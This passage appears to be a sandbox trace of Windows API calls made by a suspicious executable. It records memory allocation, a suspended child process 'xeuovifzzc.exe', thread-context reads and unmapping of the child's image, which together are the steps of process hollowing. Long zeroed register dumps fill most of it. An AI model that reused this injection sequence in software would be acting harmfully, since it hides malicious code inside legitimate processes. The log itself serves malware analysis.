Files\\qga\\qga.exe" (normalized: "c:\\program files\\qga\\qga.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0202.762] LoadLibraryA (lpLibFileName="ntdll") returned 0x77970000 [0202.772] NtAllocateVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x19f7c4*=0x0, ZeroBits=0x0, RegionSize=0x19f7c0*=0x1c200000, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0x19f7c4*=0x3050000, RegionSize=0x19f7c0*=0x1c200000) returned 0x0 [0202.854] LoadLibraryA (lpLibFileName="ntdll") returned 0x77970000 [0202.855] LoadLibraryA (lpLibFileName="ntdll") returned 0x77970000 [0202.855] LoadLibraryA (lpLibFileName="ntdll") returned 0x77970000 [0202.855] LoadLibraryA (lpLibFileName="ntdll") returned 0x77970000 [0202.855] LoadLibraryA (lpLibFileName="ntdll") returned 0x77970000 [0202.856] LoadLibraryA (lpLibFileName="ntdll") returned 0x77970000 [0202.856] LoadLibraryA (lpLibFileName="ntdll") returned 0x77970000 [0202.856] LoadLibraryA (lpLibFileName="ntdll") returned 0x77970000 [0202.856] LoadLibraryA (lpLibFileName="ntdll") returned 0x77970000 [0202.856] LoadLibraryA (lpLibFileName="kernel32") returned 0x772d0000 [0202.857] LoadLibraryA (lpLibFileName="kernel32") returned 0x772d0000 [0202.857] LoadLibraryA (lpLibFileName="kernel32") returned 0x772d0000 [0202.857] LoadLibraryA (lpLibFileName="kernel32") returned 0x772d0000 [0202.857] LoadLibraryA (lpLibFileName="kernel32") returned 0x772d0000 [0202.857] LoadLibraryA (lpLibFileName="kernel32") returned 0x772d0000 [0202.858] LoadLibraryA (lpLibFileName="kernel32") returned 0x772d0000 [0202.858] LoadLibraryA (lpLibFileName="kernel32") returned 0x772d0000 [0202.858] LoadLibraryA (lpLibFileName="kernel32") returned 0x772d0000 [0202.858] LoadLibraryA (lpLibFileName="kernel32") returned 0x772d0000 [0202.859] LoadLibraryA (lpLibFileName="shell32") returned 0x75760000 [0210.221] LoadLibraryA (lpLibFileName="shell32") returned 0x75760000 [0210.222] LoadLibraryA (lpLibFileName="advapi32") returned 0x756e0000 [0210.222] LoadLibraryA (lpLibFileName="advapi32") returned 0x756e0000 [0210.229] NtGetContextThread (in: ThreadHandle=0xfffffffe, Context=0x3055004 | out: Context=0x3055004*(ContextFlags=0x10010, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x0, Edx=0x0, Ecx=0x0, Eax=0x0, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0210.232] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Users\\FD1HVy\\Desktop\\xeuovifzzc.exe", lpCommandLine="\"C:\\Users\\FD1HVy\\Desktop\\xeuovifzzc.exe\" ", lpProcessAttributes=0x3050000, lpThreadAttributes=0x3050000, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x3050400*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x3050800, hNewToken=0x0 | out: lpProcessInformation=0x3050800*(hProcess=0x254, hThread=0x250, dwProcessId=0x12c0, dwThreadId=0x13b4), hNewToken=0x0) returned 1 [0210.246] LoadLibraryA (lpLibFileName="ntdll") returned 0x77970000 [0210.254] NtGetContextThread (in: ThreadHandle=0xfffffffe, Context=0x3055004 | out: Context=0x3055004*(ContextFlags=0x10010, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x0, Edx=0x0, Ecx=0x0, Eax=0x0, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0210.261] NtUnmapViewOfSection (ProcessHandle=0x254, BaseAddress=0x400000) returned 0x0 [0210.269] NtGetContextThread (in: ThreadHandle=0xfffffffe, Context=0x3055004 | out: Context=0x3055004*(ContextFlags=0x10010, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x0, Edx=0x0, Ecx=0x0, Eax=0x0, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, 